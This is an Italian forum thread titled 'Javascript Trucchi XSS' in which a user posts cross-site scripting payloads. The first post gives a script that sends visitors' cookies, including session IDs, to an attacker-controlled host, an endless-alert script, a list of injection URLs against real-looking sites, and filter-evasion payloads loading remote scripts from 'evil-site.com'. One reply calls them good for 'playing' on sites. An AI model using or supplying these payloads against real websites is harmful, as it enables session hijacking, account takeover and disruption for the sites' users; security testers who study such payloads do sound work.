Javascript Trucchi XSS (Cross-site scripting)

  1. #1
    Utente Esperto L'avatar di Calippo
    Data Registrazione
    Jul 2013
    Località
    Canto
    Messaggi
    18,172
    Exploit per l’ottenimento di dati

    Poniamo che un forum mal scritto presenti ai visitatori tutto ciò che viene da essi inserito, senza alcun tipo di controllo. Bene (non troppo): un cracker non esiterebbe ad inserire, quale nuovo messaggio (post), il seguente:
    Codice:
    
    <script language=”javascript”>
      document.location.href=”http://hacker_org.com/evil_script.php?data=”+document.cookie;
    </script>
    
    in cui evil_script.php è uno script in suo controllo, residente su altro server. Nella pagina HTML (del forum) risultante, inviata al browser, si avrebbe quindi tale testo come corpo del messaggio appena scritto; essendo questo in fin dei conti puro codice JavaScript, il browser collegato non indugerebbe ad interpretarlo, portando a caricare la nuova pagina evil_script.phpe passandole l’intero contenuto del cookie associato via query string.evil_script carpirà tutto ciò che sia contenuto nei cookies associati al dominio crackato. Ivi compresi i dati relativi al session_id!Ad esempio:

    Codice:
    PHPSESSID=f3ca8197a2e182f891e09da05467131b; clickedFolder=2; highlightedTreeviewLink=2
    
    In questo modo, senza dover ottenere un log-in valido, il cracker può probabilmente, in assenza di altre misure di sicurezza, simulare l’utente attaccato e riuscire a navigare nel forum come utente legittimo. E a rimediare chissà quali danni.E se il suo fosse un account da amministratore?
    Esecuzione di codice di scripting o “iniezione” di HTML

    Oltre al furto di dati importanti, non è la prima volta che la tecnica XSS viene utilizzata da “buontemponi” che, iniettando ad esempio il seguente codice nell’applicazione vulnerabile:
    Codice:
    
    <script>while(true){alert(“Ah ah ah”);}</script>
    
    altro non fanno che costringere l’utente visualizzatore ad uccidere il task relativo al browser, giusto per evitare di dover continuare, infinitamente, a cliccare sul tasto “Ok”.Questo è semplicemente un esempio della possibilità di eseguire codice su browser: l’esecuzione di codice è resa agevole dal fatto che talvolta le applicazioni visualizzano direttamente ciò che ricevono via query string, senza filtrare nulla. Come conseguenza diretta – e questo è importante – è sufficiente inserire via URL ciò che si vuol fare eseguire al client!Per fissare le idee: molti siti o programmi Web ripetono (visualizzano) ciò che inseriamo in un ipotetico campo di ricerca anche nella pagina HTML successiva, quella in cui vengono visualizzati tutti i risultati trovati, trasportando tali informazioni via query string tra una pagina e l’altra.In assenza di filtraggio, la pagina di risultato fa eseguire al browser – il quale non batte ciglio – il codice JavaScript che inseriamo nel campo di ricerca stesso.

    Alcuni esempi reali (è l’utente attaccato che viene portato a digitare quanto esposto)

    Molti dei seguenti esempi fanno comparire semplicemente un alert (avviso) JavaScript nella finestra del browser.

    Codice:
    [GET] http://www.xxx.com/virusSearch.php?VN=<script>alert(‘XSS’)</script>
    [GET] http://www.xxx..com/search/images/view?p=%3Cscript%3Ealert(‘XSS’)%3C/script%3E
    [GET] http://www.xxx.com/search?type-index=”><script>alert(‘XSS’)</script><x%20y=”
    [GET] https://www.xxx.com/logonfailed.htm?–><script>alert(‘XSS’)</script><!–
    [GET] http://www.xxx.com/viewcvs.cgi/<script>alert(‘XSS’)</script>
    [GET] http://www.xxx.com/register.php?id=TclDevKit&required=1& LastName=&EmailAddress=”><script>alert(document.cookie)</script><x%20y=”&Company=&submit.x=50
    [GET] http://www.xxx.com/securityfocus/SearchServlet?col=”;alert(document.cookie);//
    [POST] <form name=”f” action=”http://www.xxx.com/static_suchen” method=”post”><input name=search  value=’<script>alert(document.cookie)</script>’></form><script>f.submit()</script>
    [GET]http://search.dooyoo.de/search/products/<img%20src=javascript:alert(document.cookie)>
    [GET] http://www.xxx.com/test.php?in=<body%20OnLoad=alert(‘XSS’)>
    [GET] http://www.xxx.com/test.php?in=<table%background=”javascript:alert(‘XSS’)”>
    [GET] http://www.xxx.com/test.php?in=<A%20HREF=”http://goooooggle.com/”>Clicca qui </A>
    Altri esempi:

    Codice:
    Site.com/search.php?search=<font color=red>XSS</font> <SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT> <img src="javascript:alert('XSS');"> <img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>
    <IMG SRC="jav ascript:alert('XSS');"> - nuova vulnerabilità linea

    <iframe src=http://evil-site.com/evil.html < - XSS utilizzando un iframe per visualizzare una pagina intera nuova

    <SCRIPT>X=/XSS/alert( x.source ) </script> - di nuovo i controlli battere utilizzando JavaScript



    <BODY BACKGROUND="javascript:alert('XSS')"> - tag corpo infetto

    <BGSOUND SRC="javascript:alert('XSS');">

    Vulnerabilità foglio di stile - <LINK rel="stylesheet" HREF="javascript:alert('XSS');">

    <IMG SRC='vbscript:msgbox("XSS")'> - VBScript , il linguaggio di scripting simile a JavaScript , ancora una volta può aiutare a controlli di convalida battere

    <META Http-equiv="refresh" CONTENT="0;url=javascript:alert('XSS');"> - analizzati in modo errato meta refresh

    <META Http-equiv="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> - La codifica base64 , un'altra forma di crittografia , questo è meno probabile che funzioni .

    <SCRIPT SRC="http://evil-site.com/xss.jpg"> </SCRIPT> - Metodo molto subdolo , qui si rinomina il tuo js in jpg , ma visto che hai i tag di script sarà ancora letto come un file js .



    Ultima modifica di Tanker32; 18-10-2013 alle 15:46
    Se volete Offirimi un caffè cosi inizio a mettere più trucchi (lavoro di piu)
    Javascript Trucchi XSS (Cross-site scripting)


  2. #2
    Ottimi per giocarci su qualche sito

  3. #3
    Utente Esperto L'avatar di Calippo
    Data Registrazione
    Jul 2013
    Località
    Canto
    Messaggi
    18,172
    Citazione Originariamente Scritto da coder Visualizza Messaggio
    Ottimi per giocarci su qualche sito
    Sono utili anche per scovare falle nei siti.
    Se volete Offirimi un caffè cosi inizio a mettere più trucchi (lavoro di piu)
    Javascript Trucchi XSS (Cross-site scripting)


Termini piu ricercati:

Nessuno è atterrato su questa pagina da un motore di ricerca. Almeno, non per ora...